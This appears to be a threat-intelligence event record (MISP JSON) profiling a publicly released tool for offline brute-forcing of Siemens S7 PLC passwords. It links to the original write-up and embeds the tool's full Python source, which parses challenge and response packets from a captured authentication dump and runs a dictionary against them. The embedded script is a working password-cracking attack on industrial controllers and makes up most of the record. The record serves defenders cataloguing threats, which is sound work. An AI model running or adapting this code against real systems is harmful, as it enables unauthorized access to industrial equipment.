{
  "Event": {
    "analysis": "2",
    "date": "2013-01-16",
    "extends_uuid": "",
    "info": "[Threat Intel] S4x13 Releases: S7 password offline bruteforce tool",
    "protected": false,
    "publish_timestamp": "1772419812",
    "published": true,
    "threat_level_id": "3",
    "timestamp": "1772419810",
    "uuid": "d9380b93-f7a5-4e7f-b3ca-fdd9b4ea8a29",
    "Orgc": {
      "name": "Rectifyq",
      "uuid": "cd9bd516-61fa-476b-980f-2f8de03992d4"
    },
    "Tag": [
      {
        "colour": "#ffffff",
        "local": false,
        "name": "tlp:clear",
        "relationship_type": ""
      },
      {
        "colour": "#004646",
        "local": false,
        "name": "type:OSINT",
        "relationship_type": ""
      },
      {
        "colour": "#49a260",
        "local": false,
        "name": "rectifyq:category=\"threat\"",
        "relationship_type": ""
      },
      {
        "colour": "#10003f",
        "local": false,
        "name": "rectifyq:sub-category=\"tool-profile\"",
        "relationship_type": ""
      },
      {
        "colour": "#ffd12e",
        "local": false,
        "name": "rectifyq:target=\"broad-based\"",
        "relationship_type": ""
      },
      {
        "colour": "#55acee",
        "local": false,
        "name": "rectifyq:MY-relevancy=\"potentially-relevant\"",
        "relationship_type": ""
      },
      {
        "colour": "#0088cc",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Brute Force - T1110\"",
        "relationship_type": ""
      },
      {
        "colour": "#f63636",
        "local": false,
        "name": "ICS-specific",
        "relationship_type": ""
      },
      {
        "colour": "#190061",
        "local": false,
        "name": "rectifyq:topic=\"ics-ot\"",
        "relationship_type": ""
      },
      {
        "colour": "#0088cc",
        "local": false,
        "name": "misp-galaxy:sector=\"Industrial\"",
        "relationship_type": ""
      },
      {
        "colour": "#b94b1d",
        "local": false,
        "name": "rectifyq:mitre-att&ck=\"none-from-src\"",
        "relationship_type": ""
      }
    ],
    "Attribute": [
      {
        "category": "External analysis",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1771721131",
        "to_ids": false,
        "type": "link",
        "uuid": "91f067d1-4257-47c2-92df-52cee235cbd8",
        "value": "https://scadastrangelove.blogspot.com/2013/01/s7brut.html"
      },
      {
        "category": "External analysis",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1771721153",
        "to_ids": false,
        "type": "link",
        "uuid": "e15db21d-394e-4b79-b376-80985f25e42d",
        "value": "https://pastebin.com/0G9Q2k6y"
      },
      {
        "category": "Other",
        "comment": "offline password bruteforsing based on challenge-response data, extracted from auth traffic dump file",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1771721174",
        "to_ids": false,
        "type": "text",
        "uuid": "ec120e75-aa61-41c0-b138-17dd1370f6dd",
        "value": "\"\"\"\r\nFile: s7-brute-offline.py\r\nDesc: offline password bruteforsing based on challenge-response data, extracted from auth traffic dump file\r\n\r\nAlexander Timorin, Dmitry Sklyarov\r\nhttp://scadastrangelove.org\r\n\r\nVersion: 0.1 (just for demo, don't kick my ass plz)\r\n\"\"\"\r\n\r\nimport sys\r\nimport hashlib\r\nimport hmac\r\nfrom binascii import hexlify\r\ntry:\r\n    from scapy.all import *\r\nexcept ImportError:\r\n    print \"please install scapy: http://www.secdev.org/projects/scapy/ \"\r\n    sys.exit()\r\n\r\n\r\ncfg_pcap_file = '/root/siemens/RE_S7/stop_cpu_cmd_right_pass_123.pcap'\r\ncfg_dictionary_file = 'dict.txt'\r\n\r\ndef get_challenge_response():\r\n    r = rdpcap(cfg_pcap_file)\r\n\r\n    lens = map(lambda x: x.len, r)\r\n    pckt_lens = dict([(i, lens[i]) for i in range(0,len(lens))])\r\n\r\n    # try to find challenge packet\r\n    pckt_108 = 0 #challenge packet (from server)\r\n    for (pckt_indx, pckt_len) in pckt_lens.items():\r\n        if pckt_len+14 == 108 and hexlify(r[pckt_indx].load)[14:24] == '7202002732':\r\n            pckt_108 = pckt_indx\r\n            break\r\n\r\n    # try to find response packet\r\n    pckt_141 = 0 #response packet (from client)\r\n    _t1 = dict([ (i, lens[i]) for i in pckt_lens.keys()[pckt_108:] ])\r\n    for pckt_indx in sorted(_t1.keys()):\r\n        pckt_len = _t1[pckt_indx]\r\n        if pckt_len+14 == 141 and hexlify(r[pckt_indx].load)[14:24] == '7202004831':\r\n            pckt_141 = pckt_indx\r\n            break\r\n\r\n    # try to find auth result packet\r\n    pckt_84 = 0 # auth answer from plc: pckt_len==84 -> auth ok\r\n    pckt_92 = 0 # auth answer from plc: pckt_len==92 -> auth bad\r\n    for pckt_indx in sorted(_t1.keys()):\r\n        pckt_len = _t1[pckt_indx]\r\n        if pckt_len+14 == 84 and hexlify(r[pckt_indx].load)[14:24] == '7202000f32':\r\n            pckt_84 = pckt_indx\r\n            break\r\n        if pckt_len+14 == 92 and hexlify(r[pckt_indx].load)[14:24] == '7202001732':\r\n            pckt_92 = pckt_indx\r\n            break\r\n\r\n    print \"found packets indeces: pckt_108=%d, pckt_141=%d, pckt_84=%d, pckt_92=%d\" % (pckt_108, pckt_141, pckt_84, pckt_92)\r\n    if pckt_84:\r\n        print \"auth ok\"\r\n    else:\r\n        print \"auth bad. for brute we need right auth result. exit\"\r\n        sys.exit()\r\n\r\n    challenge = None\r\n    response = None\r\n\r\n    raw_challenge = hexlify(r[pckt_108].load)\r\n    if raw_challenge[46:52] == '100214' and raw_challenge[92:94] == '00':\r\n        challenge = raw_challenge[52:92]\r\n        print \"found challenge: %s\" % challenge\r\n    else:\r\n        print \"cannot find challenge. exit\"\r\n        sys.exit()\r\n\r\n    raw_response = hexlify(r[pckt_141].load)\r\n    if raw_response[64:70] == '100214' and raw_response[110:112] == '00':\r\n        response = raw_response[70:110]\r\n        print \"found  response: %s\" % response\r\n    else:\r\n        print \"cannot find response. exit\"\r\n        sys.exit()\r\n\r\n    return challenge, response\r\n\r\ndef calculate_s7response(password, challenge):\r\n    challenge = challenge.decode(\"hex\")\r\n    return hmac.new( hashlib.sha1(password).digest(), challenge, hashlib.sha1).hexdigest()\r\n\r\nif __name__ == '__main__':\r\n    print \"using pcap file: %s\" % cfg_pcap_file\r\n    challenge, response = get_challenge_response()\r\n    print \"start password bruteforsing  ...\"\r\n    for p in open(cfg_dictionary_file):\r\n        p = p.strip()\r\n        if response == calculate_s7response(p, challenge):\r\n            print \"found password: %s\" % p\r\n            sys.exit()\r\n    print \"password not found. try another dictionary.\""
      }
    ]
  }
}